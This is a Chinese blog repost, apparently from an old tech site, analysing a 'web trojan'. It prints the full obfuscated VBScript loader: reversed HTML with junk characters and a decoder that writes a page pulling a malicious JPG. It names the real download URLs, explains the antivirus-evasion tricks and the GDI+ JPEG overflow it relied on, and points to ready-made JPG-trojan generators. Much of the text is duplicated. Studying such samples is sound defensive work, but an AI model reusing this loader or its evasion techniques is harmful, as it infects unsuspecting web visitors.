详解一个很牛X的网马
来源:互联网 发布:nginx 重启 编辑:程序博客网 时间:2024/04/28 21:36
今天在网上闲逛,遇到有人说这个木马很牛X,大家都在研究,我也不知这是何年何月的东西,也许已经落伍了,但反正我是没看见过,就拿来研究一下.觉得这网马写得还不错,至少思路很好.
下边来看看这个网马代码,我加点注释在里边.
程序代码:
其实这是网马的代码,但一看上去好象是乱码,或是加密的,其实不然.这里就体现了作者的极好思路.
1.用倒着写的方法,可以躲过杀软的特征码定位.
2.同时采用加花的手段,使查杀更加困难.
这两种手法是桌面型黑软的常用手法,但是拿到网马上来用,还真是不错.
程序代码:
这个函数就是负责将上边精心组织的网马代码还原用的:
for i = 1 to len(cc) 从头到尾一个一个字节的判断
if mid(cc,i,1)<> '琳' then 如果不是'琳'这个字
temp = Mid(cc, i, 1) + temp 将这个字加到合成的串前边,也就是形成倒序
temp=vbcrlf&temp 否则加个回行符,vbcrlf是VB的回行符
然后输出拼装好的网马代码.
可以看到,问题出在那个1.JPG的图片上.
用UE打开来,可以看到在文件的尾部有这样的字样:
其实这才是真正的木马.
至于JPG图片是如何成为网马的,请看这里:
http://art.todo.net.cn/html/article/16817.html
那这个图片如何做呢,我们还要去研究什么内存溢出吗?呵呵,不用,网上有现成的工具,能生成JPG木马的工具,百度一下.
下边来看看这个网马代码,我加点注释在里边.
引用内容:
<SCRIPT language=vbscript>
hu='琳>LMTH/<>YDOB/<琳>VID/<>VID/<琳>'')'gpj.1/emag/moc.eveanihc.www//:ptth'(lru :ROSRUC''=elyts VID<琳>YDOB<琳>DAEH/<>ROTARENEG=eman ''9503.0092.00.6 LMTHSM''=tnetnoc ATEM<琳>''5gib=tesrahc ;lmth/txet''=tnetnoc epyT-tnetnoC=viuqe-ptth ATEM<琳>DAEH<>LMTH<琳'
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> '琳' then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(hu))
</SCRIPT>
hu='琳>LMTH/<>YDOB/<琳>VID/<>VID/<琳>'')'gpj.1/emag/moc.eveanihc.www//:ptth'(lru :ROSRUC''=elyts VID<琳>YDOB<琳>DAEH/<>ROTARENEG=eman ''9503.0092.00.6 LMTHSM''=tnetnoc ATEM<琳>''5gib=tesrahc ;lmth/txet''=tnetnoc epyT-tnetnoC=viuqe-ptth ATEM<琳>DAEH<>LMTH<琳'
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> '琳' then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
document.write(UnEncode(hu))
</SCRIPT>
程序代码:
hu='琳>LMTH/<>YDOB/<琳>VID/<>VID/<琳>'')'gpj.1/emag/moc.eveanihc.www//:ptth'(lru :ROSRUC''=elyts VID<琳>YDOB<琳>DAEH/<>ROTARENEG=eman ''9503.0092.00.6 LMTHSM''=tnetnoc ATEM<琳>''5gib=tesrahc ;lmth/txet''=tnetnoc epyT-tnetnoC=viuqe-ptth ATEM<琳>DAEH<>LMTH<琳'
其实这是网马的代码,但一看上去好象是乱码,或是加密的,其实不然.这里就体现了作者的极好思路.
1.用倒着写的方法,可以躲过杀软的特征码定位.
2.同时采用加花的手段,使查杀更加困难.
这两种手法是桌面型黑软的常用手法,但是拿到网马上来用,还真是不错.
程序代码:
function UnEncode(cc)
for i = 1 to len(cc)
if mid(cc,i,1)<> '琳' then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
for i = 1 to len(cc)
if mid(cc,i,1)<> '琳' then
temp = Mid(cc, i, 1) + temp
else
temp=vbcrlf&temp
end if
next
UnEncode=temp
end function
这个函数就是负责将上边精心组织的网马代码还原用的:
for i = 1 to len(cc) 从头到尾一个一个字节的判断
if mid(cc,i,1)<> '琳' then 如果不是'琳'这个字
temp = Mid(cc, i, 1) + temp 将这个字加到合成的串前边,也就是形成倒序
temp=vbcrlf&temp 否则加个回行符,vbcrlf是VB的回行符
然后输出拼装好的网马代码.
可以看到,问题出在那个1.JPG的图片上.
用UE打开来,可以看到在文件的尾部有这样的字样:
引用内容:
http://www.chinaeve.com/game/index.exe
其实这才是真正的木马.
至于JPG图片是如何成为网马的,请看这里:
http://art.todo.net.cn/html/article/16817.html
引用内容:
图片带毒来袭,实在让所有人都擦了一把汗,然而我们都知道,JPEG、GIF等格式图片不具备可以执行自身并散播病毒的条件,这不符合逻辑。回忆一下2004年9月14日的事,微软发布了MS04-028安全公告:JPEG处理(GDI+)中的缓冲区溢出可能使代码得以执行。没错,就是这个漏洞,它的术语叫GDI+,对应的动态链接库为GdiPlus.dll,这是一种图形设备接口,能够为应用程序和程序员提供二维媒介图形、映像和版式,大部分Windows程序都调用这个DLL完成JPEG格式图片的处理工作。但是现在,正是这个“公众人物”成了众矢之的。
说到这里,有基础的读者应该明白了吧:并不是图片自己能传播病毒,而是系统负责图形处理工作的模块会在处理图片时发生溢出导致图片内携带的恶意指令得以执行破坏。如果某个图片工具不调用这个系统模块,而是使用自己的处理模块,那么同样包含恶意指令的图片就不能达到破坏目的。但是因为这个系统模块是默认的处理模块,所以大部分程序在“JPEG病毒”面前纷纷落马。
http://art.todo.net.cn/html/article/16817.html
这个溢出是怎么产生的呢?这要从系统如何读取JPEG格式图形的原理说起,系统处理一个JPEG图片时,需要在内存里加载JPEG处理模块,然后JPEG处理模块再把图片数据读入它所占据的内存空间里,也就是所说的缓冲区,最后我们就看到了图片的显示,然而就是在图片数据进入缓冲区的这一步出了错——Windows规定了缓冲区的大小,却没有严格检查实际容纳的数据量,这个带缺陷的边界检查模式导致了噩梦:入侵者把一个JPEG图片的数据加工得异常巨大并加入恶意指令,那么这个图片在系统载入内存时候会发生什么情况呢?图片数据会涨满整个JPEG处理模块提供的缓冲区并恰好把恶意指令溢出到程序自身的内存区域,而这部分内存区域是用于执行指令的,即核心区,于是恶意指令被程序误执行了,入侵者破坏系统或入侵机器的行为得以正常实施。有人也许会疑惑,入侵者都是神算子吗,他们为什么能准确的知道会是哪些数据可以溢出执行?答案很简单,因为Windows在分配JPEG处理模块的空间时,给它指定的内存起始地址是固定的,入侵者只要计算好这个空间大小,就能知道会有哪些数据被执行了,所以JPEG病毒迅速传播起来。
所谓JPEG病毒,并不是JPEG图片能放出病毒,而是系统处理JPEG图片的模块自己执行了JPEG图片携带的病毒,所以我们大可不必人心惶惶,只要补上了GDIPLUS.DLL的漏洞,那么即使你机器上的所有JPEG图片都带有病毒数据,它们也无法流窜出来搞破坏,正如美国马萨诸塞州立大学助理教授奥斯汀所言:“病毒不仅仅是可自我复制的代码,他们需要通过可执行代码的方式来进行传播。JPEG文件不能执行代码,他们是由应用软件打开的数据文件。应用软件不会去查找数据文件中的可执行的代码,为此不会运行这些病毒代码。”
说到这里,有基础的读者应该明白了吧:并不是图片自己能传播病毒,而是系统负责图形处理工作的模块会在处理图片时发生溢出导致图片内携带的恶意指令得以执行破坏。如果某个图片工具不调用这个系统模块,而是使用自己的处理模块,那么同样包含恶意指令的图片就不能达到破坏目的。但是因为这个系统模块是默认的处理模块,所以大部分程序在“JPEG病毒”面前纷纷落马。
http://art.todo.net.cn/html/article/16817.html
这个溢出是怎么产生的呢?这要从系统如何读取JPEG格式图形的原理说起,系统处理一个JPEG图片时,需要在内存里加载JPEG处理模块,然后JPEG处理模块再把图片数据读入它所占据的内存空间里,也就是所说的缓冲区,最后我们就看到了图片的显示,然而就是在图片数据进入缓冲区的这一步出了错——Windows规定了缓冲区的大小,却没有严格检查实际容纳的数据量,这个带缺陷的边界检查模式导致了噩梦:入侵者把一个JPEG图片的数据加工得异常巨大并加入恶意指令,那么这个图片在系统载入内存时候会发生什么情况呢?图片数据会涨满整个JPEG处理模块提供的缓冲区并恰好把恶意指令溢出到程序自身的内存区域,而这部分内存区域是用于执行指令的,即核心区,于是恶意指令被程序误执行了,入侵者破坏系统或入侵机器的行为得以正常实施。有人也许会疑惑,入侵者都是神算子吗,他们为什么能准确的知道会是哪些数据可以溢出执行?答案很简单,因为Windows在分配JPEG处理模块的空间时,给它指定的内存起始地址是固定的,入侵者只要计算好这个空间大小,就能知道会有哪些数据被执行了,所以JPEG病毒迅速传播起来。
所谓JPEG病毒,并不是JPEG图片能放出病毒,而是系统处理JPEG图片的模块自己执行了JPEG图片携带的病毒,所以我们大可不必人心惶惶,只要补上了GDIPLUS.DLL的漏洞,那么即使你机器上的所有JPEG图片都带有病毒数据,它们也无法流窜出来搞破坏,正如美国马萨诸塞州立大学助理教授奥斯汀所言:“病毒不仅仅是可自我复制的代码,他们需要通过可执行代码的方式来进行传播。JPEG文件不能执行代码,他们是由应用软件打开的数据文件。应用软件不会去查找数据文件中的可执行的代码,为此不会运行这些病毒代码。”
那这个图片如何做呢,我们还要去研究什么内存溢出吗?呵呵,不用,网上有现成的工具,能生成JPG木马的工具,百度一下.
- 详解一个很牛X的网马
- 一个很牛X的人的博客
- 判断一个数是不是2的N次方,很牛的算法#define ISPOW2(x) (x) & (x-1) ? false : true
- 一个很牛X的排错工具--valgrind
- 一个牛X的出租车司机(ZT)
- 一个相当牛X的日历
- 对话:成为一个牛x的程序员
- 一个牛x的mock框架--Powermock
- 一个牛x的mock框架--Powermock
- 一个牛x的mock框架--Powermock
- 一个牛x的mock框架--Powermock
- 一个牛x的mock框架--Powermock
- OEIS | 一个牛x的网站
- 创建一个Mac OS X 下的Cocoa Application对话框 详解
- Cocos2d-X的一个示例
- 一个牛X的企业微博是如何运营的
- 一个真正牛x的php框架应该是什么样的?
- 一个有趣的问题: 什么情况下x, &x, *x, **x, ***x, ****x, *****x的值完全相等?
- linux关机和重启命令
- CVSNT用户管理方案
- ACCESS数据库开发————累但是很快乐
- MYSQL5重装实例无法启动之解决方法
- Java中四种XML解析技术
- 详解一个很牛X的网马
- mysql数据库入门必读一
- ASP 判断远程图片是否存在 真正好用的
- 简单介绍禁用Cookie 功能的几种方法
- 如何编写一个自动投票程序
- VB.NET下窗体继承的简单操作方法
- s
- 彼得·德鲁克的十大兵法
- ASP 判断网站能否访问 真正好用的